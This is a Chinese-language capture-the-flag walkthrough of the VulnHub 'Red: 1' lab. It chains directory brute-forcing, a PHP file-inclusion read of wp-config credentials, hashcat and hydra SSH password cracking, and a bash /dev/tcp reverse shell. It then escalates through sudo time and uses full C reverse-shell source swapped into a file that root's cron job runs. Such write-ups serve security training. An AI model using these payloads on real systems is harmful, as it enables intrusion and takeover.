准备:
攻击机:虚拟机kali、本机win10。
靶机:RED: 1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/red/Red.ova,下载后直接VirtualBox打开,如果使用vm打开可能会存在ip问题。
涉及的知识点:hashcat碰撞、shell反弹、权限提升、dns解析、文件包含、ssh登录时的口令爆破。
信息收集:
先扫描以下网段内的主机ip,获取下靶机的ip地址。
使用nmap扫描靶机开放端口对应的具体服务信息,命令:nmap -T4 -sV -p- -A 172.20.10.3,发现apache、wordpress版本等信息。
使用目录扫描工具对目录进行扫描,这里使用的是dirmap,命令:python dirmap.py -i http://172.20.10.3/ -lcf,发现robots.txt、readme.html、license.txt、wp-admin.php等文件。
发现了一个站点地图,尝试进行访问,但是访问失败,后面又在:http://172.20.10.3/wp-admin.php发现搜索下的提示,但是搜索后跳转到:http://redrocks.win/?s=1仍是失败,但是发现均是指向了域名:redrocks.win,后面又在http://172.20.10.3/wp-admin.php的源码中发现dns-prefetch,然后想到了设置dns解析。
win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:172.20.10.3 redrocks.win,linux:修改/etc/hosts文件,然后访问:http://redrocks.win/成功进入界面,这里加了三个ip,第一个连手机热点获得的ip,后两个连家里网获得的ip,在家里搞得时候靶机崩了一次,导致靶机得数据库一直启动不了,只能重装,然后ip就变了。后面两个是后加的,开始想着手机开热点就能搞完呢。
在主界面进入到http://redrocks.win/2021/10/24/hello-world/,检查源代码时发现:Maybe you should ask Mr. Miessler for help,百度了以下,发现是一个github上有这个的信息。
查找后门文件:
那就下载下来爆破字典,然后在kali中使用gobuster进行爆破,命令:gobuster dir -u http://192.168.1.13 -w CommonBackdoors-PHP.fuzz.txt,CommonBackdoors-PHP.fuzz.txt文件在SecLists-master\Discovery\Web-Content下面,注意替换地址或者使用域名进行爆破,获取到NetworkFileManagerPHP.php文件。
返回的状态码为500,表示服务器运行错误,因此这里应该是需要传递一个参数,那就需要对参数名进行爆破,这里继续使用下载的字典,使用bp的爆破模块加载burp-parameter-names.txt进行爆破,burp-parameter-names.txt文件在SecLists-master\Discovery\Web-Content下面,获得传递的参数名称key(emmm 调整了key的顺序,不然不知道得到什么时候才能出来,前面一次把靶机给扫崩了...,观察返回数据包得长度就可以)。
确定参数名称后传递参数值进行测试,发现这里是一个文件包含漏洞,http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../../etc/passwd。
通过伪协议先读取下NetworkFileManagerPHP.php文件,命令:http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php(读取php文件需要使用base64进行加密),对获得base64字符串进行解密获得源码信息。
base64加密字符串:
PD9waHAKICAgJGZpbGUgPSAkX0dFVFsna2V5J107CiAgIGlmKGlzc2V0KCRmaWxlKSkKICAgewogICAgICAgaW5jbHVkZSgiJGZpbGUiKTsKICAgfQogICBlbHNlCiAgIHsKICAgICAgIGluY2x1ZGUoIk5ldHdvcmtGaWxlTWFuYWdlclBIUC5waHAiKTsKICAgfQogICAvKiBWR2hoZENCd1lYTnpkMjl5WkNCaGJHOXVaU0IzYjI0bmRDQm9aV3h3SUhsdmRTRWdTR0Z6YUdOaGRDQnpZWGx6SUhKMWJHVnpJR0Z5WlNCeWRXeGxjdz09ICovCj8
源码信息:
<?php
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?
源码中得base64字符串信息:
That password alone won't help you! Hashcat says rules are rules
读取下wp-config.php的文件信息,命令:http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php,获得base64加密的wp-config.php文件进行解密,获得mysql的账户名和密码:john/R3v_m4lwh3r3_k1nG!!
base64字符串信息:
PD9waHANCi8qKg0KICogVGhlIGJhc2UgY29uZmlndXJhdGlvbiBmb3IgV29yZFByZXNzDQogKg0KICogVGhlIHdwLWNvbmZpZy5waHAgY3JlYXRpb24gc2NyaXB0IHVzZXMgdGhpcyBmaWxlIGR1cmluZyB0aGUgaW5zdGFsbGF0aW9uLg0KICogWW91IGRvbid0IGhhdmUgdG8gdXNlIHRoZSB3ZWIgc2l0ZSwgeW91IGNhbiBjb3B5IHRoaXMgZmlsZSB0byAid3AtY29uZmlnLnBocCINCiAqIGFuZCBmaWxsIGluIHRoZSB2YWx1ZXMuDQogKg0KICogVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBmb2xsb3dpbmcgY29uZmlndXJhdGlvbnM6DQogKg0KICogKiBNeVNRTCBzZXR0aW5ncw0KICogKiBTZWNyZXQga2V5cw0KICogKiBEYXRhYmFzZSB0YWJsZSBwcmVmaXgNCiAqICogQUJTUEFUSA0KICoNCiAqIEBsaW5rIGh0dHBzOi8vd29yZHByZXNzLm9yZy9zdXBwb3J0L2FydGljbGUvZWRpdGluZy13cC1jb25maWctcGhwLw0KICoNCiAqIEBwYWNrYWdlIFdvcmRQcmVzcw0KICovDQovLyAqKiBNeVNRTCBzZXR0aW5ncyAtIFlvdSBjYW4gZ2V0IHRoaXMgaW5mbyBmcm9tIHlvdXIgd2ViIGhvc3QgKiogLy8NCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICd3b3JkcHJlc3MnICk7DQoNCi8qKiBNeVNRTCBkYXRhYmFzZSB1c2VybmFtZSAqLw0KZGVmaW5lKCAnREJfVVNFUicsICdqb2huJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgcGFzc3dvcmQgKi8NCmRlZmluZSggJ0RCX1BBU1NXT1JEJywgJ1Izdl9tNGx3aDNyM19rMW5HISEnICk7DQoNCi8qKiBNeVNRTCBob3N0bmFtZSAqLw0KZGVmaW5lKCAnREJfSE9TVCcsICdsb2NhbGhvc3QnICk7DQoNCi8qKiBEYXRhYmFzZSBDaGFyc2V0IHRvIHVzZSBpbiBjcmVhdGluZyBkYXRhYmFzZSB0YWJsZXMuICovDQpkZWZpbmUoICdEQl9DSEFSU0VUJywgJ3V0ZjgnICk7DQoNCi8qKiBUaGUgRGF0YWJhc2UgQ29sbGF0ZSB0eXBlLiBEb24ndCBjaGFuZ2UgdGhpcyBpZiBpbiBkb3VidC4gKi8NCmRlZmluZSggJ0RCX0NPTExBVEUnLCAnJyApOw0KDQpkZWZpbmUoJ0ZTX01FVEhPRCcsICdkaXJlY3QnKTsNCg0KZGVmaW5lKCdXUF9TSVRFVVJMJywgJ2h0dHA6Ly9yZWRyb2Nrcy53aW4nKTsNCmRlZmluZSgnV1BfSE9NRScsICdodHRwOi8vcmVkcm9ja3Mud2luJyk7DQoNCi8qKiNAKw0KICogQXV0aGVudGljYXRpb24gdW5pcXVlIGtleXMgYW5kIHNhbHRzLg0KICoNCiAqIENoYW5nZSB0aGVzZSB0byBkaWZmZXJlbnQgdW5pcXVlIHBocmFzZXMhIFlvdSBjYW4gZ2VuZXJhdGUgdGhlc2UgdXNpbmcNCiAqIHRoZSB7QGxpbmsgaHR0cHM6Ly9hcGkud29yZHByZXNzLm9yZy9zZWNyZXQta2V5LzEuMS9zYWx0LyBXb3JkUHJlc3Mub3JnIHNlY3JldC1rZXkgc2VydmljZX0uDQogKg0KICogWW91IGNhbiBjaGFuZ2UgdGhlc2UgYXQgYW55IHBvaW50IGluIHRpbWUgdG8gaW52YWxpZGF0ZSBhbGwgZXhpc3RpbmcgY29va2llcy4NCiAqIFRoaXMgd2lsbCBmb3JjZSBhbGwgdXNlcnMgdG8gaGF2ZSB0byBsb2cgaW4gYWdhaW4uDQogKg0KICogQHNpbmNlIDIuNi4wDQogKi8NCmRlZmluZSgnQVVUSF9LRVknLCAgICAgICAgICcydXVCdmM4U081ez5Vd1E8XjVWNVtVSEJ3JU59LUJ3V3F3fD48KkhmQndKKCAkJiUsKFpiZy9qd0ZrUkhmfnZ8Jyk7DQpkZWZpbmUoJ1NFQ1VSRV9BVVRIX0tFWScsICAnYWh9PElgNTJHTDZDXkB
源码信息:
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'john' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define('FS_METHOD', 'direct');
define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}<I`52GL6C^@
发现数据库的账号和密码想起来查看/etc/passwd时存在一个john账户,那就使用ssh协议尝试登录以下,但是登录失败,然后又想起来了:That password alone won't help you! Hashcat says rules are rules,那就需要使用hashcat进行碰撞了,因为这些源码中的信息加密方式采用的base64,因此选择base64的规则进行碰撞,如果这里遇到问题,可以去https://www.intel.com/content/www/us/en/developer/tools/opencl-cpu-runtime/overview.html下载该文件进行解压,然后执行./install.sh即可,命令:hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > result.txt。
使用解出的密码通过hydra进行ssh爆破,命令:hydra -l john -P result.txt ssh://192.168.1.2,或者超级弱口令检查工具等均可,获得密码:R3v_m4lwh3r3_k1nG!!00。
使用ssh登录靶机,账号和密码:john/R3v_m4lwh3r3_k1nG!!0
登录成功时发现的问题:
1、连接每过一段时间会自动断开,并且会修改密码,因此我们可以自己反弹一个shell到kali上。kali开启6688端口的监听:nc -lvvp 6688,shell界面执行:bash -i >& /dev/tcp/192.168.1.12/6688 0>&1。
2、发现cat命令和vi命令进行了互换。
提权:
在home下发现ippsec、oxdf文件夹下的user.txt,但是均无权访问。
输入命令:sudo -l,查看到ippsec不需要密码就提权的命令有time
切换ippsec账户,命令:sudo -u ippsec /usr/bin/time /bin/bash,然后查看user.txt文件。
因为我们的shell一直被断开,严重影响我们的操作,因此我们使用ippsec账户反弹一个shell,这样当原ssh连接断开时,我们的shell就不会被断开了,这里注意cat和vi命令互换了,前面有提到,记得用:python3 -c 'import pty;pty.spawn("/bin/bash")'升级以下。
下面这里可以看到左侧的shell已经被关闭了,但通过ippsec账户反弹的shell还可以正常使用。
查找下ippsec账户所拥有权限的文件,发现了.git文件,命令:find / -group ippsec -type d 2>/dev/null | grep -v proc.
在.git文件里发现可执行程序rec并进行执行
查看了下目录下文件的所有者,发现是rev文件、supersecretfileuc.c文件具有root权限,然后想到了替换.c文件的内容,通过,c文件创建反弹root权限的shell,然后等待rcv执行调用supersecretfileuc.c完成root权限shell的反弹。
1、删除rev文件和supersecretfileuc.c文件,rm rev和rm supersecretfileuc.c。
2、在攻击机中开启9001端口的监听,命令:nc -lvvp 9001。
3、在靶机/var/www/wordpress/.git目录下创建supersecretfileuc.c并写入c语言反弹shell的脚本,命令:cat supersecretfileuc.c。
这里等待rev自动执行即可,手动执行是不行的。
c语言的反弹shell的脚本可以在https://www.revshells.com/网站生成,脚本内容如下:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 9001;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.12");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
在root下发现red留下的后门文件,删除就可以夺回控制权了。
闲着无聊查看了一下后门文件信息,发现就是对上面替换的supersecretfileuc.c文件进行编译,然后并执行生成的文件。
我们的开始的shell一直被踢掉是因为kill_sess.sh文件杀掉了john账户的所有进程,因此我们使用ippsec账户创建shell的时候就不会被踢掉了。
在日志里发现执行后门代码的记录,命令:vi /var/log/syslog,也查看了定时任务:vim /etc/crontab。
使用命令:crontab -l可以查看执行后门文件的定时任务,这里也是导致我们ssh连接断开和返回干扰信息的根本原因,如下: